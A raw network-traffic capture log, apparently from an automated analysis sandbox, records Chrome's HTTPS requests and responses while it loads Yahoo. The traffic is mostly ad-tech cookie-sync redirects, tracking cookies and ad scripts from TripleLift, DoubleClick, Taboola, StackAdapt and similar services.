APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:14 UTC	685	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://eb2.3lift.com/xuid?mid=5989&xuid=CAESEBJVs4r0NTsVVzWoqwvl4IE&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 Date: Sat, 27 Apr 2024 22:42:14 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 332 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:14 UTC	332	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 35 39 38 39 26 61 6d 70 3b 78 75 69 64 3d 43 41 45 53 45 42 4a 56 73 34 72 30 4e 54 73 56 56 7a 57 6f 71 77 76 6c 34 49 45 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 63 36 32 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://eb2.3lift.com/xuid?mid=5989&xuid=CAESEBJVs4r0NTsVVzWoqwvl4IE&dongle=c62

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	50245	35.169.22.169	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	953	OUT	GET /pbsync?is=vz&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redirectUri=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dyieldmo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
2024-04-27 22:42:14 UTC	788	IN	HTTP/1.1 302 Date: Sat, 27 Apr 2024 22:42:14 GMT Content-Type: application/json;charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:14 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Location: https://pbs.yahoo.com/setuid?bidder=yieldmo&f=i&uid=VcJnSSSXXnSq19AL9kSQ&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	50243	54.83.59.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	1038	OUT	GET /sync/triplelift/4394171109507437451801?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:14 UTC	868	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:14 GMT Content-Length: 0 Connection: close Location: https://eb2.3lift.com/xuid?mid=2662&xuid=y-TaJ_CqxE2oT_x6V2DIotmiBZqRiSs7IM03DvRfJl8w--~A&dongle=0883 Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	50240	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	920	OUT	GET /sync/google/demand?sync=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync=CgoIoQEQk4vkjfIxCgoI5gEQk4vkjfIxCgoIhwIQk4vkjfIxCgoItwIQk4vkjfIxCgkIOhCTi-SN8jEKCQgbEJOL5I3yMQoKCIwCEJOL5I3yMQoKCKwCEJOL5I3yMQoKCK0CEJOL5I3yMQoJCF8Qk4vkjfIx; receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:14 UTC	737	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:14 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:14 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:14 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	50248	151.101.65.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	740	OUT	GET /scripts/ifs.js HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:15 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2074 x-amz-id-2: XFdyo+6vTIJ75wZyPWv/9JrhpPfMY420ZszAf4ipCaslyea4WjDUaJ4AYWAOV+0Sgo5Ky5tOTzY= x-amz-request-id: V4GEX81VWJCSR0TX x-amz-replication-status: COMPLETED Last-Modified: Sun, 12 Mar 2023 12:23:45 GMT ETag: "93d5bb91c9a48c4edbc164a65354b00c" x-amz-server-side-encryption: AES256 x-amz-version-id: hHYTz8VC1WtMBCSsI42K1YQZ3IXPhs3V Content-Type: application/javascript Server: AmazonS3 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:42:14 GMT Via: 1.1 varnish Age: 25342 X-Served-By: cache-iad-kcgs7200169-IAD X-Cache: HIT X-Cache-Hits: 17 X-Timer: S1714257735.953257,VS0,VE0 Cache-Control: private,max-age=14400 Vary: Accept-Encoding abp: 39 Access-Control-Allow-Origin: *
2024-04-27 22:42:15 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 22 74 73 64 74 6f 63 6c 22 2c 65 3d 22 21 2d 23 40 22 2c 74 3d 22 75 6c 22 2c 69 3d 22 68 74 74 70 73 3a 22 2c 6f 3d 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 30 63 32 52 30 62 32 4e 73 4c 6d 4e 76 62 51 3d 3d 22 29 2c 72 3d 7b 7d 2c 61 3d 69 2c 64 3d 2d 31 2c 63 2c 75 3b 74 72 79 7b 76 61 72 20 73 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 72 5b 65 2e 69 64 5d 26 26 28 72 5b 65 2e 69 64 5d 28 65 29 2c 64 65 6c 65 74 65 20 72 5b 65 2e 69 64 5d 29 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 69 3b 74 72 79 7b 69 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 2e 64 61 74 61 29 7d 63 61 74 63 68 28 6e 29 7b 7d 69 26 26 69 2e 6e 61 6d 65 73 70 61 63 65 3d 3d 3d 6e 26 26 73 28 69 29 Data Ascii: !function(){var n="tsdtocl",e="!-#@",t="ul",i="https:",o=atob("aHR0cHM6Ly90c2R0b2NsLmNvbQ=="),r={},a=i,d=-1,c,u;try{var s=function n(e){r[e.id]&&(r[e.id](e),delete r[e.id])},w=function e(t){var i;try{i=JSON.parse(t.data)}catch(n){}i&&i.namespace===n&&s(i)
2024-04-27 22:42:15 UTC	696	IN	Data Raw: 55 73 65 72 49 64 2e 67 65 74 55 73 65 72 49 64 3f 77 69 6e 64 6f 77 2e 54 46 41 53 43 2e 74 66 61 55 73 65 72 49 64 2e 67 65 74 55 73 65 72 49 64 28 29 3a 6e 75 6c 6c 2c 74 3d 77 69 6e 64 6f 77 2e 54 52 43 26 26 77 69 6e 64 6f 77 2e 54 52 43 2e 70 61 67 65 4d 61 6e 61 67 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 54 52 43 2e 70 61 67 65 4d 61 6e 61 67 65 72 2e 67 65 74 55 73 65 72 49 64 3f 77 69 6e 64 6f 77 2e 54 52 43 2e 70 61 67 65 4d 61 6e 61 67 65 72 2e 67 65 74 55 73 65 72 49 64 28 29 3a 6e 75 6c 6c 2c 69 3d 43 28 29 2c 6f 3d 62 28 29 3b 72 65 74 75 72 6e 20 65 7c 7c 74 7c 7c 69 7c 7c 6f 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e Data Ascii: UserId.getUserId?window.TFASC.tfaUserId.getUserId():null,t=window.TRC&&window.TRC.pageManager&&"function"==typeof window.TRC.pageManager.getUserId?window.TRC.pageManager.getUserId():null,i=C(),o=b();return e\|\|t\|\|i\|\|o},T=function n(e){window.addEventListen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	50239	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	746	OUT	GET /track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:15 UTC	573	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:15 GMT Content-Length: 251 Connection: close server: Kestrel location: https://eb2.3lift.com/xuid?mid=3658&xuid=43e7dc8e-5458-4375-be4a-644737ed4dbd&dongle=0cfd&gdpr=0&gdpr_consent= set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:15 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHc3Z4OXQ1MBILCICk4pmqxfM8EAUYASABKAIyCwi0muXGwMXzPBAFOAFaB3N2eDl0NTBgAg..; expires=Sun, 27 Apr 2025 22:42:15 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:15 UTC	251	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 33 36 35 38 26 78 75 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 64 6f 6e 67 6c 65 3d 30 63 66 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 33 36 35 38 26 78 75 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 64 6f 6e 67 6c 65 3d 30 63 66 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://eb2.3lift.com/xuid?mid=3658&xuid=43e7dc8e-5458-4375-be4a-644737ed4dbd&dongle=0cfd&gdpr=0&gdpr_consent=">https://eb2.3lift.com/xuid?mid=3658&xuid=43e7dc8e-5458-4375-be4a-644737ed4dbd&dongle=0cfd&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	50253	172.253.62.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	523	OUT	POST /.well-known/attribution-reporting/debug/verbose HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive Content-Length: 280 Pragma: no-cache Cache-Control: no-cache Content-Type: application/json Origin: https://ad.doubleclick.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:15 UTC	280	OUT	Data Raw: 5b 7b 22 62 6f 64 79 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 5f 64 65 73 74 69 6e 61 74 69 6f 6e 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 64 65 62 75 67 63 6f 6e 76 65 72 73 69 6f 6e 64 6f 6d 61 69 6e 31 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 65 62 75 67 63 6f 6e 76 65 72 73 69 6f 6e 64 6f 6d 61 69 6e 32 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 68 6f 6e 64 61 64 65 61 6c 65 72 73 2e 63 6f 6d 22 5d 2c 22 73 6f 75 72 63 65 5f 64 65 62 75 67 5f 6b 65 79 22 3a 22 31 39 31 37 38 39 33 34 31 38 33 39 31 37 32 33 31 38 22 2c 22 73 6f 75 72 63 65 5f 65 76 65 6e 74 5f 69 64 22 3a 22 31 34 38 31 35 34 38 37 34 35 37 30 33 39 35 35 33 37 38 35 22 2c 22 73 6f 75 72 63 65 5f 73 69 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 79 61 68 6f 6f 2e 63 6f 6d 22 7d 2c Data Ascii: [{"body":{"attribution_destination":["https://debugconversiondomain1.com","https://debugconversiondomain2.com","https://hondadealers.com"],"source_debug_key":"191789341839172318","source_event_id":"14815487457039553785","source_site":"https://yahoo.com"},
2024-04-27 22:42:15 UTC	493	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:15 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	50251	54.209.244.95	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	630	OUT	GET /sync?nid=13&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:15 UTC	1353	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:15 GMT Location: https://eb2.3lift.com/xuid?mid=2319&xuid=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69&dongle=4430 Set-Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgQelVZj.cjkH8gDhxJhlGKmXRCMPsk%2BbfaLKEGIaQ2SvyGbhpyQ; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgQelVZj.cjkH8gDhxJhlGKmXRCMPsk%2BbfaLKEGIaQ2SvyGbhpyQ; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 138 Connection: Close
2024-04-27 22:42:15 UTC	138	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 32 33 31 39 26 61 6d 70 3b 78 75 69 64 3d 30 2d 62 32 36 38 35 31 63 33 2d 37 61 38 33 2d 35 30 65 36 2d 35 36 63 32 2d 37 32 32 35 38 38 38 31 36 34 38 34 24 69 70 24 31 34 39 2e 31 38 2e 32 34 2e 36 39 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 34 34 33 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://eb2.3lift.com/xuid?mid=2319&xuid=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69&dongle=4430">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	50249	54.209.244.95	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	630	OUT	GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:15 UTC	1227	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Sat, 27 Apr 2024 22:42:15 GMT Set-Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgRNDrXB.sZkgYoGuig%2Fmd%2Fil7BaUd86zO87%2F23TUNQhklS1%2FehM; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgRNDrXB.sZkgYoGuig%2Fmd%2Fil7BaUd86zO87%2F23TUNQhklS1%2FehM; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 43 Connection: Close
2024-04-27 22:42:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	50244	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	745	OUT	GET /sync?ssp=triplelift&user_id=4394171109507437451801&gdpr=0&gdpr_consent=${GDPR_CONSENT} HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731
